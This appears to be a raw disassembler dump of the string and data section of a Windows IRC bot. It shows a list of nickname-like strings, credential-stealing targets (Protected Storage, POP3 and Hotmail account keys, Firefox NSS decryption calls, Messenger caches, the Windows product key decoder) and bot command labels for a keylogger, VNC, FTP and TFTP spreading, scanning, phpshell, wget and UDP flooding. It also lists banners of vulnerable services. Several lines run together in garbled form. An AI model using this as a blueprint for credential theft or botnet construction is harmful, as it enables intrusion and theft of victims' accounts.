aPizza db 'pizza',0 ; DATA XREF: ?9:0044F668o
align 4
aBaby db 'baby',0 ; DATA XREF: ?9:0044F664o
align 4
aW4nt3d db 'W4NT3D',0 ; DATA XREF: ?9:0044F660o
align 4
aBiatch db 'biatch',0 ; DATA XREF: ?9:0044F65Co
align 4
aCumhur db 'cumhur',0 ; DATA XREF: ?9:0044F658o
align 4
aAdammo db 'ADAMMO',0 ; DATA XREF: ?9:0044F654o
align 4
aMaverick db 'MavericK',0 ; DATA XREF: ?9:0044F650o
align 10h
aProm3theus db 'prom3theus',0 ; DATA XREF: ?9:0044F64Co
align 4
aDallas db 'DALLAS',0 ; DATA XREF: ?9:0044F648o
align 4
aTeoman db 'TEOMAN``',0 ; DATA XREF: ?9:0044F644o
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: ?9:0044F640o
align 4
aC3m39 db 'c3m39',0 ; DATA XREF: ?9:0044F63Co
align 10h
aC00l30m db 'c00l30m',0 ; DATA XREF: ?9:0044F638o
aTr0pikal db 'tr0pikal',0 ; DATA XREF: ?9:0044F634o
align 4
aPassenger db 'passenger',0 ; DATA XREF: ?9:0044F630o
align 10h
aNe__ db 'NE__',0 ; DATA XREF: ?9:0044F62Co
align 4
aUlaru db 'ularu',0 ; DATA XREF: ?9:0044F628o
align 10h
aLizmirlm db 'Lizmirlm',0 ; DATA XREF: ?9:0044F624o
align 4
aAkd3nnan db 'akd3nnan',0 ; DATA XREF: ?9:0044F620o
align 4
aK00oray db 'K00ORAY',0 ; DATA XREF: ?9:0044F61Co
aAta29111 db 'Ata29111',0 ; DATA XREF: ?9:0044F618o
align 4
aFirt db 'firt',0 ; DATA XREF: ?9:0044F614o
align 4
aAd33 db 'Ad33',0 ; DATA XREF: ?9:0044F610o
align 4
aM41st db 'M41ST',0 ; DATA XREF: ?9:0044F60Co
align 4
aMaxs1lla db 'maxs1lla',0 ; DATA XREF: ?9:0044F608o
align 10h
aAd3m28 db 'Ad3m28',0 ; DATA XREF: ?9:0044F604o
align 4
aAnkm4a db 'ankM4a',0 ; DATA XREF: ?9:0044F600o
align 10h
aErk3nnn db 'erk3nnn',0 ; DATA XREF: ?9:0044F5FCo
aD3vre db 'd3vre',0 ; DATA XREF: ?9:0044F5F8o
align 10h
aYab4nc db 'yab4nc',0 ; DATA XREF: ?9:0044F5F4o
align 4
aB1rs3n db 'b1rs3n',0 ; DATA XREF: ?9:0044F5F0o
align 10h
aA44mmm db 'a44mmm',0 ; DATA XREF: ?9:0044F5ECo
align 4
aAlcatrazak db 'alcatraZAK',0 ; DATA XREF: ?9:0044F5E8o
align 4
aErkaaaa db 'ERKAAAA',0 ; DATA XREF: ?9:0044F5E4o
aSevdan db 'sevdan',0 ; DATA XREF: ?9:0044F5E0o
align 4
aKot4n db 'kot4n',0 ; DATA XREF: ?9:0044F5DCo
align 4
aT3gm3n db 'T3GM3N',0 ; DATA XREF: ?9:0044F5D8o
align 4
aAchill3s db 'Achill3s',0 ; DATA XREF: ?9:0044F5D4o
align 10h
aK4pk db 'k4pk',0 ; DATA XREF: ?9:0044F5D0o
align 4
aAng3lg4l db 'ang3lg4l',0 ; DATA XREF: ?9:0044F5CCo
align 4
aH4yr4n db 'h4yr4n',0 ; DATA XREF: ?9:0044F5C8o
align 4
aF3n3r db 'F3N3R',0 ; DATA XREF: ?9:0044F5C4o
align 4
aAnkart db 'Ankart',0 ; DATA XREF: ?9:0044F5C0o
align 4
aDjmace db 'DJMACE',0 ; DATA XREF: ?9:0044F5BCo
align 4
aAnk32 db 'ANK32',0 ; DATA XREF: ?9:0044F5B8o
align 4
aUmut00 db 'umut00',0 ; DATA XREF: ?9:0044F5B4o
align 4
aAd4lim db 'AD4LIM',0 ; DATA XREF: ?9:0044F5B0o
align 4
aKumul db 'kumul',0 ; DATA XREF: ?9:0044F5ACo
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ?9:0044F5A8o
aSugaboi db 'SUGABOi',0 ; DATA XREF: ?9:0044F5A4o
aS3vis db 'S3ViS',0 ; DATA XREF: ?9:0044F5A0o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ?9:0044F59Co
align 4
aAkut1 db 'akut1',0 ; DATA XREF: ?9:0044F598o
align 10h
aEllesme db 'Ellesme',0 ; DATA XREF: ?9:0044F594o
aMahinure db 'MAHINURE',0 ; DATA XREF: ?9:0044F590o
align 4
aH0ly1 db 'h0ly1',0 ; DATA XREF: ?9:0044F58Co
align 4
aFl0rd db 'FL0RD',0 ; DATA XREF: ?9:0044F588o
align 4
aKeb1kec db 'keb1kec',0 ; DATA XREF: ?9:0044F584o
aEsm3rkiz db 'Esm3rkiz',0 ; DATA XREF: ?9:0044F580o
align 4
aElm4zyok db 'elm4zyok',0 ; DATA XREF: ?9:0044F57Co
align 4
aEmr3e db 'Emr3e',0 ; DATA XREF: ?9:0044F578o
align 4
aAmth4n db 'AMTH4N',0 ; DATA XREF: ?9:0044F574o
align 4
aIrz4l db 'IRZ4L',0 ; DATA XREF: ?9:0044F570o
align 4
aHak4n3 db 'hak4n3',0 ; DATA XREF: ?9:0044F56Co
align 4
aMuratm_ db 'muratm_',0 ; DATA XREF: ?9:0044F568o
aKeyifli db 'keyifli',0 ; DATA XREF: ?9:0044F564o
aArd4k db 'ard4k',0 ; DATA XREF: ?9:0044F560o
align 4
aDevran db 'DeVran',0 ; DATA XREF: ?9:0044F55Co
align 4
aDzlim db 'DzliM',0 ; DATA XREF: ?9:0044F558o
align 4
aCongu db 'CoNGU',0 ; DATA XREF: ?9:0044F554o
align 4
aAlpay3m db 'alpay3m',0 ; DATA XREF: ?9:0044F550o
aBog4c3r db 'bog4c3r',0 ; DATA XREF: ?9:0044F54Co
aDonju4nm db 'Donju4nm',0 ; DATA XREF: ?9:0044F548o
align 10h
aAnkh4h db 'ankh4h',0 ; DATA XREF: ?9:0044F544o
align 4
aAte3e db 'AtE3e',0 ; DATA XREF: ?9:0044F540o
align 10h
aAyla db 'AYLA-',0 ; DATA XREF: ?9:0044F53Co
align 4
aAlb1na db 'alb1na',0 ; DATA XREF: ?9:0044F538o
align 10h
aIzm1rm db 'Izm1rm',0 ; DATA XREF: ?9:0044F534o
align 4
aAck0111 db 'ACK0111',0 ; DATA XREF: ?9:0044F530o
aAnk32m db 'ank32m',0 ; DATA XREF: ?9:0044F52Co
align 4
aTurkyballs db 'turkyballs',0 ; DATA XREF: ?9:0044F528o
align 4
aAhm3t db 'ahm3t',0 ; DATA XREF: ?9:0044F524o
align 4
aPelinci db 'pelinci',0 ; DATA XREF: ?9:0044F520o
aBlackp34rl db 'blackp34rl',0 ; DATA XREF: ?9:0044F51Co
align 10h
aRetg db 'RETG-',0 ; DATA XREF: ?9:0044F518o
align 4
aSamy3li db 'samy3li',0 ; DATA XREF: ?9:0044F514o
aPiram1t db 'PIRAM1T',0 ; DATA XREF: ?9:0044F510o
aAslii db 'aslii',0 ; DATA XREF: ?9:0044F50Co
align 10h
aErnesto db 'ERNESTO',0 ; DATA XREF: ?9:0044F508o
aHaticem db 'haticem',0 ; DATA XREF: ?9:0044F504o
aArzu db 'ARZU',0 ; DATA XREF: ?9:0044F500o
align 4
aAhm3txtc db 'Ahm3tXTC',0 ; DATA XREF: ?9:0044F4FCo
align 4
aDczz db 'dczz',0 ; DATA XREF: ?9:0044F4F8o
align 4
aXtczzz db 'xTczzz',0 ; DATA XREF: ?9:0044F4F4o
align 4
aXc4l db 'XC4L',0 ; DATA XREF: ?9:0044F4F0o
align 4
aBlondu db 'Blondu-',0 ; DATA XREF: ?9:0044F4ECo
aRot0r db 'rot0r',0 ; DATA XREF: ?9:0044F4E8o
align 4
aAkw1dz db 'AKW1Dz',0 ; DATA XREF: ?9:0044F4E4o
align 4
aBl0ndu db 'Bl0ndu',0 ; DATA XREF: ?9:0044F4E0o
align 4
a_d db '_d',0 ; DATA XREF: ?9:0044F4DCo
align 10h
aD_ db 'd_',0 ; DATA XREF: ?9:0044F4D8o
align 4
aDog db 'dog-',0 ; DATA XREF: ?9:0044F4D4o
align 4
aNils db 'Nils-',0 ; DATA XREF: ?9:0044F4D0o
align 4
aRyann db 'ryann',0 ; DATA XREF: ?9:0044F4CCo
align 4
aSmok3yS db 'smok3y-s',0 ; DATA XREF: ?9:0044F4C4o
align 4
aSmokeySn db 'smokey-sn',0 ; DATA XREF: ?9:0044F4C0o
align 4
aR0t0 db 'r0t0',0 ; DATA XREF: ?9:0044F4BCo
align 4
aR0t0r db 'r0t0r-',0 ; DATA XREF: ?9:0044F4B8o ?9:0044F4C8o
align 4
aSud3nur db 'SUD3NUR',0 ; DATA XREF: ?9:0044F4B4o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ?9:0044F4B0o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ?9:0044F4ACo
align 4
aTekir db 'tekir',0 ; DATA XREF: ?9:0044F4A8o
align 4
aMERV db 'M-E-R-V',0 ; DATA XREF: ?9:0044F4A4o
aTrr3nd db 'trr3nd',0 ; DATA XREF: ?9:0044F4A0o
align 4
aMel3kk db 'mel3kk',0 ; DATA XREF: ?9:0044F49Co
align 4
aAk1n db 'AK1N',0 ; DATA XREF: ?9:0044F498o
align 4
aM4ry db 'M4RY-',0 ; DATA XREF: ?9:0044F494o
align 4
aJer1cho db 'JER1CHO',0 ; DATA XREF: ?9:0044F490o
aTolga38 db 'Tolga38',0 ; DATA XREF: ?9:0044F48Co
aMizsund4y db 'mizsund4y',0 ; DATA XREF: ?9:0044F488o
align 10h
aIrm4ll db 'irm4Ll',0 ; DATA XREF: ?9:0044F484o
align 4
aBenibi db 'BeNiBi',0 ; DATA XREF: ?9:0044F480o
align 10h
aBerkkkko db 'berkkkko',0 ; DATA XREF: ?9:0044F47Co
align 4
aHexa4a db 'hexa4a',0 ; DATA XREF: ?9:0044F478o
align 4
aErk4nerkali db 'erk4nerkali',0 ; DATA XREF: ?9:0044F474o
aKandent db 'kandent',0 ; DATA XREF: ?9:0044F470o
aC4nsuu db 'c4nsuu',0 ; DATA XREF: ?9:0044F46Co
align 10h
aR45h3r db 'R45H3R',0 ; DATA XREF: ?9:0044F468o
align 4
aK3ncing db 'K3ncing',0 ; DATA XREF: ?9:0044F464o
aReshma db 'reshma',0 ; DATA XREF: ?9:0044F460o
align 4
aCam3l db 'CAM3L-',0 ; DATA XREF: ?9:0044F45Co
align 10h
aGirlzx db 'GirLzx',0 ; DATA XREF: ?9:0044F458o
align 4
aIiimra db 'iiimra',0 ; DATA XREF: ?9:0044F454o
align 10h
aC0redumpdd db 'C0reDumpDd',0 ; DATA XREF: ?9:0044F450o
align 4
aPur3g0ld db 'pur3g0ld',0 ; DATA XREF: ?9:0044F44Co
align 4
aK3rm1t db 'k3rm1t',0 ; DATA XREF: ?9:0044F448o
align 10h
aM4n4e db 'm4n4e',0 ; DATA XREF: ?9:0044F444o
align 4
aTr0ll3r db 'tr0ll3r',0 ; DATA XREF: ?9:0044F440o
aLisau db 'Lisau',0 ; DATA XREF: ?9:0044F43Co
align 4
aNastsha db 'nastsha',0 ; DATA XREF: ?9:0044F438o
aH4xdd db 'h4xdd-',0 ; DATA XREF: ?9:0044F434o
align 4
aR1mpy db 'r1mpy',0 ; DATA XREF: ?9:0044F430o
align 10h
aJann0 db 'jann0',0 ; DATA XREF: ?9:0044F42Co
align 4
aBunty007 db 'bunty007',0 ; DATA XREF: ?9:0044F428o
align 4
aHev4l db 'hev4l',0 ; DATA XREF: ?9:0044F424o
align 4
aCmecme db 'cmecme',0 ; DATA XREF: ?9:0044F420o
align 4
aSe1nf3ld db 'se1nf3ld',0 ; DATA XREF: ?9:0044F41Co
align 10h
aSeiny db 'seiny',0 ; DATA XREF: ?9:0044F418o
align 4
aM4rcy db 'm4rcy',0 ; DATA XREF: ?9:0044F414o
align 10h
aTalika db 'Talika',0 ; DATA XREF: ?9:0044F410o
align 4
aShezzza db 'Shezzza',0 ; DATA XREF: ?9:0044F40Co
aPwntuuuu db 'pwntuuuu',0 ; DATA XREF: ?9:0044F408o
align 4
aXtcXcal db 'xTc-xCaL',0 ; DATA XREF: ?9:0044F404o
align 4
aXc4libr3 db 'xc4libr3',0 ; DATA XREF: ?9:0044F400o
align 4
aK3nnn db 'k3nnn',0 ; DATA XREF: ?9:0044F3FCo
align 4
aFl3xxxt3r db 'fl3xxxt3r',0 ; DATA XREF: ?9:0044F3F8o
align 4
aKok00 db 'kok00',0 ; DATA XREF: ?9:0044F3F4o
align 10h
aM4le db 'm4le',0 ; DATA XREF: ?9:0044F3F0o
align 4
aSw1n db 'sw1n',0 ; DATA XREF: ?9:0044F3ECo
align 10h
aC4r1nna db 'C4r1nna',0 ; DATA XREF: ?9:0044F3E8o
aKr1zha db 'KR1ZHA',0 ; DATA XREF: ?9:0044F3E4o
align 10h
aEmilyia db 'Emilyia',0 ; DATA XREF: ?9:0044F3E0o
aEmilya db 'emilya',0 ; DATA XREF: ?9:0044F3DCo
align 10h
aB0bm4rl3y db 'B0BM4RL3Y',0 ; DATA XREF: ?9:0044F3D8o
align 4
aMax1xguy db 'max1xguy',0 ; DATA XREF: ?9:0044F3D4o
align 4
aFar0oq db 'far0oq',0 ; DATA XREF: ?9:0044F3D0o
align 10h
aSm4rt3 db 'SM4RT3',0 ; DATA XREF: ?9:0044F3CCo
align 4
aN_3: ; DATA XREF: ?9:0044F3C4o
unicode 0, <N>,0
aB_1: ; DATA XREF: ?9:0044F3C0o
unicode 0, <B>,0
aV_2: ; DATA XREF: ?9:0044F3BCo
unicode 0, <V>,0
aC_3: ; DATA XREF: ?9:0044F3B8o
unicode 0, <C>,0
aZ_2: ; DATA XREF: ?9:0044F3B0o
unicode 0, <Z>,0
asc_44FFBC: ; DATA XREF: ?9:0044F3ACo
unicode 0, <L>,0
aK_3: ; DATA XREF: ?9:0044F3A8o
unicode 0, <K>,0
aJ_2: ; DATA XREF: ?9:0044F3A4o
unicode 0, <J>,0
asc_44FFC8: ; DATA XREF: ?9:0044F3A0o
unicode 0, <H>,0
aG_2: ; DATA XREF: ?9:0044F39Co
unicode 0, <G>,0
aF_2: ; DATA XREF: ?9:0044F398o ?9:0044F790o
unicode 0, <F>,0
aD_3: ; DATA XREF: ?9:0044F394o
unicode 0, <D>,0
aS_10: ; DATA XREF: ?9:0044F390o
unicode 0, <S>,0
aA: ; DATA XREF: ?9:0044F38Co
unicode 0, <A>,0
aO_3: ; DATA XREF: ?9:0044F384o
unicode 0, <O>,0
aI_2: ; DATA XREF: ?9:0044F380o
unicode 0, <I>,0
aU_2: ; DATA XREF: ?9:0044F37Co
unicode 0, <U>,0
aY_3: ; DATA XREF: ?9:0044F378o
unicode 0, <Y>,0
aT_3: ; DATA XREF: ?9:0044F374o
unicode 0, <T>,0
aR_2: ; DATA XREF: ?9:0044F370o
unicode 0, <R>,0
aE_3: ; DATA XREF: ?9:0044F36Co
unicode 0, <E>,0
aW_2: ; DATA XREF: ?9:0044F368o
unicode 0, <W>,0
aQ_3: ; DATA XREF: ?9:0044F364o
unicode 0, <Q>,0
aM_5: ; DATA XREF: ?9:0044F360o ?9:0044F6FCo
unicode 0, <m>,0
aN_4: ; DATA XREF: ?9:0044F35Co ?9:0044F700o
unicode 0, <n>,0
aB_2: ; DATA XREF: ?9:0044F358o ?9:0044F6CCo ...
unicode 0, <b>,0
aV_3: ; DATA XREF: ?9:0044F354o ?9:0044F71Co
unicode 0, <v>,0
aZ_3: ; DATA XREF: ?9:0044F348o ?9:0044F72Co ...
unicode 0, <z>,0
asc_450018: ; DATA XREF: ?9:0044F344o ?9:0044F6F8o
unicode 0, <l>,0
aK_4: ; DATA XREF: ?9:0044F340o ?9:0044F6F4o
unicode 0, <k>,0
aJ_3: ; DATA XREF: ?9:0044F33Co ?9:0044F6F0o
unicode 0, <j>,0
asc_450024: ; DATA XREF: ?9:0044F338o ?9:0044F6E4o
unicode 0, <h>,0
aG_3: ; DATA XREF: ?9:0044F334o ?9:0044F6E0o ...
unicode 0, <g>,0
aF_3: ; DATA XREF: ?9:0044F330o ?9:0044F6DCo
unicode 0, <f>,0
aD_4: ; DATA XREF: ?9:0044F32Co ?9:0044F6D4o
unicode 0, <d>,0
aP_4: ; DATA XREF: ?9:0044F320o ?9:0044F708o
unicode 0, <p>,0
aI_3: ; DATA XREF: ?9:0044F31Co ?9:0044F6E8o
unicode 0, <i>,0
aU_3: ; DATA XREF: ?9:0044F318o ?9:0044F718o
unicode 0, <u>,0
aT_4: ; DATA XREF: ?9:0044F310o ?9:0044F714o
unicode 0, <t>,0
aW_3: ; DATA XREF: ?9:0044F304o ?9:0044F720o
unicode 0, <w>,0
aSPstore_dllNot db '%s PStore.dll not loaded',0 ; DATA XREF: sub_42377D+B1o
; ?9:off_44ED14o ...
align 4
aPop3Pass2 db 'POP3 Pass2',0 ; DATA XREF: sub_423850+29Co
align 10h
aPop3Server db 'POP3 Server',0 ; DATA XREF: sub_423850+250o
aPop3UserName db 'POP3 User Name',0 ; DATA XREF: sub_423850+1FCo
align 4
aHttpmailPass2 db 'HTTPMail Pass2',0 ; DATA XREF: sub_423850+15Fo
align 4
aHotmail db 'Hotmail',0 ; DATA XREF: sub_423850+144o
aHttpmailUserna db 'HTTPMail UserName',0 ; DATA XREF: sub_423850+F3o
align 4
aSoftwareMicr_1 db 'Software\Microsoft\Internet Account Manager\Accounts',0
; DATA XREF: sub_423850+2Co
; sub_423850+96o
align 10h
aSNoPstoreEntri db '%s No PStore entries found.',0 ; DATA XREF: sub_423BB1+909o
dword_45010C dd 2207325h, 61724528h, 20646573h, 6C74754Fh, 206B6F6Fh
; DATA XREF: sub_423BB1+87Eo
dd 72707845h, 29737365h, 220023Ah, 702F6C28h, 20023A29h
dd 3A73255Bh, 5D7325h
dword_45013C dd 2207325h, 74754F28h, 6B6F6F6Ch, 70784520h, 73736572h
; DATA XREF: sub_423BB1+83Ao
dd 20023A29h, 2207325h, 702F6C28h, 20023A29h, 3A73255Bh
dd 5D7325h
a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_423BB1+788o
align 4
dword_450174 dd 2207325h, 4E534D28h, 2F444920h, 73736150h, 20023A29h
; DATA XREF: sub_423BB1+750o
dd 2F6C2802h, 23A2970h, 73255B20h, 5D73253Ah, 0
aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_423BB1+5E9o
align 4
dword_4501A8 dd 2207325h, 20454928h, 294C5255h, 2520023Ah, 28022073h
; DATA XREF: sub_423BB1+5C4o
dd 29702F6Ch, 5B20023Ah, 253A7325h, 5D73h
dword_4501CC dd 70747468h, 2F3A73hdword_4501D4 dd 70747468h, 2F3Ahdword_4501DC dd 7274533Ah, 676E69h ; sub_423BB1+4D2o
aStringindex db 'StringIndex',0 ; DATA XREF: sub_423BB1+4A0o
aE161255a db 'e161255a',0 ; DATA XREF: sub_423BB1+486o
align 4
dword_4501FC dd 2207325h, 20454928h, 204C5255h, 63617448h, 73736563h
; DATA XREF: sub_423BB1+461o
dd 20023A29h, 2207325h, 702F6C28h, 20023A29h, 3A73255Bh
dd 5D7325h
a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_423BB1+3B1o
align 4
aWs db '%ws',0 ; DATA XREF: sub_423BB1+2DDo
asc_450238 db '%x',0 ; DATA XREF: sub_423BB1+1F1o
align 4
dword_45023C dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; sub_423BB1+232o ...
dword_45024C dd 6E207325h, 2520746Fh, 2E73haProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_423BB1+13o
align 4
aPl_base64decod db 'PL_Base64Decode',0 ; DATA XREF: sub_424699+1D4o
aPk11_checkuser db 'PK11_CheckUserPassword',0 ; DATA XREF: sub_424699+189o
align 4
aPk11sdr_decryp db 'PK11SDR_Decrypt',0 ; DATA XREF: sub_424699+177o
aPk11_authentic db 'PK11_Authenticate',0 ; DATA XREF: sub_424699+165o
align 4
aPk11_freeslot db 'PK11_FreeSlot',0 ; DATA XREF: sub_424699+153o
align 4
aPk11_getintern db 'PK11_GetInternalKeySlot',0 ; DATA XREF: sub_424699+141o
aNss_shutdown db 'NSS_Shutdown',0 ; DATA XREF: sub_424699+12Fo
align 10h
aNss_init db 'NSS_Init',0 ; DATA XREF: sub_424699+122o
align 4
aSoftokn3_dll db 'softokn3.dll',0 ; DATA XREF: sub_424699+C9o
align 4
aSqlite3_dll db 'sqlite3.dll',0 ; DATA XREF: sub_424699+7Ao
aNssutil3_dll db 'nssutil3.dll',0 ; DATA XREF: sub_424699+69o
align 4
aPlds4_dll db 'plds4.dll',0 ; DATA XREF: sub_424699+4Bo
; sub_424699+94o
align 4
aNspr4_dll db 'nspr4.dll',0 ; DATA XREF: sub_424699+34o
align 10h
aMozcrt19_dll db 'mozcrt19.dll',0 ; DATA XREF: sub_424699+28o
align 10h
aNss3_dll db 'nss3.dll',0 ; DATA XREF: sub_424699+1Do
align 4
aPlc4_dll db 'plc4.dll',0 ; DATA XREF: sub_424699+18o
align 4
asc_450368 db ': ',0 ; DATA XREF: sub_424A42+1ABo
; sub_42BE29+28o
align 4
dword_45036C dd 2207325h, 25464628h, 52552064h, 23A294Ch, 20732520h
; DATA XREF: sub_424A42+11Eo
dd 2F6C2802h, 23A2970h, 20h
dword_45038C dd 6E676973h, 33736E6Fh, 7478742Eh, 0 ; sub_424FC9+171o
dword_45039C dd 6E676973h, 32736E6Fh, 7478742Eh, 0 ; sub_424FC9+14Eo
dword_4503AC dd 6E676973h, 2E736E6Fh, 747874h ; sub_424FC9+12Bo
aSoftwareClient db 'SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command'
; DATA XREF: sub_424C9C+Fo
db 0
align 4
aPath_0 db 'path=',0 ; DATA XREF: sub_424DE2:loc_424EEDo
align 4
aNameDefault db 'name=default',0 ; DATA XREF: sub_424DE2+F1o
align 4
aProfiles_ini db '\profiles.ini',0 ; DATA XREF: sub_424DE2+ACo
align 4
aApplicationDat db 'Application Data\Mozilla\Firefox',0 ; DATA XREF: sub_424DE2+2Ao
align 4
aCurrentversion db 'CurrentVersion',0 ; DATA XREF: sub_424FC9+80o
align 4
aSoftwareMozi_0 db 'SOFTWARE\mozilla.org\Mozilla',0 ; DATA XREF: sub_424FC9+5Fo
align 4
aSoftwareMozill db 'SOFTWARE\Mozilla\Mozilla Firefox',0 ; DATA XREF: sub_424FC9+45o
align 4
aAllowD db 'Allow%d',0 ; DATA XREF: sub_425156+1DEo
dword_4504A4 dd 4E534D02h, 2520023Ah, 73haSoftwareMicr_3 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: sub_425156+194o
db 'ice',0
align 4
aSoftwareMicr_2 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: sub_425156+41o
align 4
byte_450524 db 42h ; DATA XREF: sub_4253C0+A3r
aCdfghjkmpqrtvw db 'CDFGHJKMPQRTVWXY2346789',0
align 10h
aDigitalproduct db 'DigitalProductId',0 ; DATA XREF: sub_4253C0+43o
align 4
aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion',0
; DATA XREF: sub_4253C0+15o
align 4
aSWindowsKeyNot db '%s Windows Key not found.',0 ; DATA XREF: sub_42549F+16Fo
align 10h
aSWindowsSSKey_ db '%s Windows %s (%s) Key: %.29s',0 ; DATA XREF: sub_42549F+149o
align 10h
a2008 db '2008',0 ; DATA XREF: sub_42549F:loc_4255A8o
align 4
aVnc db '[VNC]:',0 ; DATA XREF: sub_4256BD+F7o
align 10h
aKeylogger db '[KEYLOGGER]:',0 ; DATA XREF: sub_4256BD+E2o
align 10h
aTftp_0 db '[TFTP]:',0 ; DATA XREF: sub_4256BD+CDo
aFtp_0 db '[FTP]:',0 ; DATA XREF: sub_4256BD+B8o
align 10h
aScan db '[SCAN]:',0 ; DATA XREF: sub_4256BD+A7o
aMain_1 db '[MAIN]:',0 ; DATA XREF: sub_4256BD+96o
aPhpshell db 'phpshell',0 ; DATA XREF: sub_4256BD+85o
align 4
aWget db 'wget',0 ; DATA XREF: sub_4256BD+74o
align 4
aPush db '!* PUSH',0 ; DATA XREF: sub_4256BD+63o
aPan db '!* PAN',0 ; DATA XREF: sub_4256BD+52o
align 4
aUdp db '!* UDP',0 ; DATA XREF: sub_4256BD:loc_4256FEo
align 4
aSh db '!* SH',0 ; DATA XREF: sub_4256BD+2Bo
align 4
aTopic_0 db 'TOPIC',0 ; DATA XREF: sub_4257C9+F7o
align 4
aNotice db 'NOTICE',0 ; DATA XREF: sub_4257C9+E2o
align 4
aUserhost db 'USERHOST',0 ; DATA XREF: sub_4257C9+CDo
align 10h
aPing db 'PING',0 ; DATA XREF: sub_4257C9+B8o
align 4
aPong db 'PONG',0 ; DATA XREF: sub_4257C9+A7o
align 10h
aOper db 'OPER',0 ; DATA XREF: sub_4257C9+96o
align 4
aJoin db 'JOIN',0 ; DATA XREF: sub_4257C9+85o
align 10h
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_4257C9+74o
aNowANetworkAdm db 'now a network administrator',0 ; DATA XREF: sub_4257C9+63o
aIrcOperator db 'IRC Operator',0 ; DATA XREF: sub_4257C9+52o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_4257C9:loc_42580Ao
; sub_4258D5:loc_425938o
align 4
aUser_1 db 'USER ',0 ; DATA XREF: sub_4258D5+4Do
align 4
aMail db 'Mail',0 ; DATA XREF: sub_4258D5+3Co
align 4
off_4506BC dd offset byte_4B4F2B ; DATA XREF: sub_4258D5+2Bo
a_bot_login db '_BOT_LOGIN',0 ; DATA XREF: sub_42594D:loc_42598Eo
align 4
a_bot db '_BOT',0 ; DATA XREF: sub_42594D+2Bo
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4259A3+63o
align 10h
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4259A3+52o
align 4
aApache1_3 db 'Apache/1.3',0 ; DATA XREF: sub_4259A3:loc_4259E4o
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4259A3+2Bo
align 10h
dword_450710 dd 6C755602h, 22F2F6EhaSDSDS db ' (%s:%d) -> (%s:%d) - "%s"',0
align 4
unk_450734 db 2 ; DATA XREF: sub_425A1B+2CAo
db 50h, 48h, 50h
db 2Fh ; /
db 2Fh, 2, 20h
aSDSDS_0 db '(%s:%d) -> (%s:%d) - "%s"',0
align 4
unk_450758 db 2 ; DATA XREF: sub_425A1B+2A0o
db 46h, 54h, 50h
db 2Fh ; /
db 2Fh, 2, 20h
aSDSDS_1 db '(%s:%d) -> (%s:%d) - "%s"',0
align 4
unk_45077C db 2 ; DATA XREF: sub_425A1B+276o
db 49h, 52h, 43h
db 2Fh ; /
db 2Fh, 2, 20h
aSDSDS_2 db '(%s:%d) -> (%s:%d) - "%s"',0
align 10h
unk_4507A0 db 2 ; DATA XREF: sub_425A1B+249o
db 42h, 6Fh, 74h
db 2Fh ; /
db 2Fh, 2, 20h
aSDSDS_3 db '(%s:%d) -> (%s:%d) - "%s"',0
align 4
aPostHttp1_1Hos db 'POST / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_425D4F+E5o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aSEuropeDKbitSU db '%s ~ Europe[%d kbit/s] ~ USA[%d kbit/s] ~ Asia[%d kbit/s] ~ Avera'
; DATA XREF: sub_425F31+275o
db 'ge[%d kbit/s]',0
align 4
aWww_kaist_ac_k db 'www.kaist.ac.kr',0 ; DATA XREF: sub_425F31+14Eo
aWww_pku_edu_cn db 'www.pku.edu.cn',0 ; DATA XREF: sub_425F31+147o
align 4
aWww_bandai_co_ db 'www.bandai.co.jp',0 ; DATA XREF: sub_425F31+140o
align 4
aWww_seikoWatch db 'www.seiko-watch.co.jp',0 ; DATA XREF: sub_425F31+139o
align 4
aWww_nintendo_0 db 'www.nintendo.co.jp',0 ; DATA XREF: sub_425F31+132o
align 4
aWww_nthu_edu_t db 'www.nthu.edu.tw',0 ; DATA XREF: sub_425F31+12Bo
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_425F31+124o
aWww_umin_ac_jp db 'www.umin.ac.jp',0 ; DATA XREF: sub_425F31+11Do
align 4
aUnimelb_edu_au db 'unimelb.edu.au',0 ; DATA XREF: sub_425F31+116o
align 4
aWww_conexim_co db 'www.conexim.com.au',0 ; DATA XREF: sub_425F31+10Fo
align 10h
aGamearena_com_ db 'gamearena.com.au',0 ; DATA XREF: sub_425F31+108o
align 4
aWww_nintendo_c db 'www.nintendo.com',0 ; DATA XREF: sub_425F31+101o
align 4
aWww_apple_com db 'www.apple.com',0 ; DATA XREF: sub_425F31+FAo
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_425F31+F3o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_425F31+ECo
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_425F31+E5o
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_425F31+DEo
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_425F31+D7o
align 10h
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_425F31+D0o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_425F31+C9o
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_425F31+C2o
align 10h
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_425F31+BBo
align 4
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_425F31+B4o
align 4
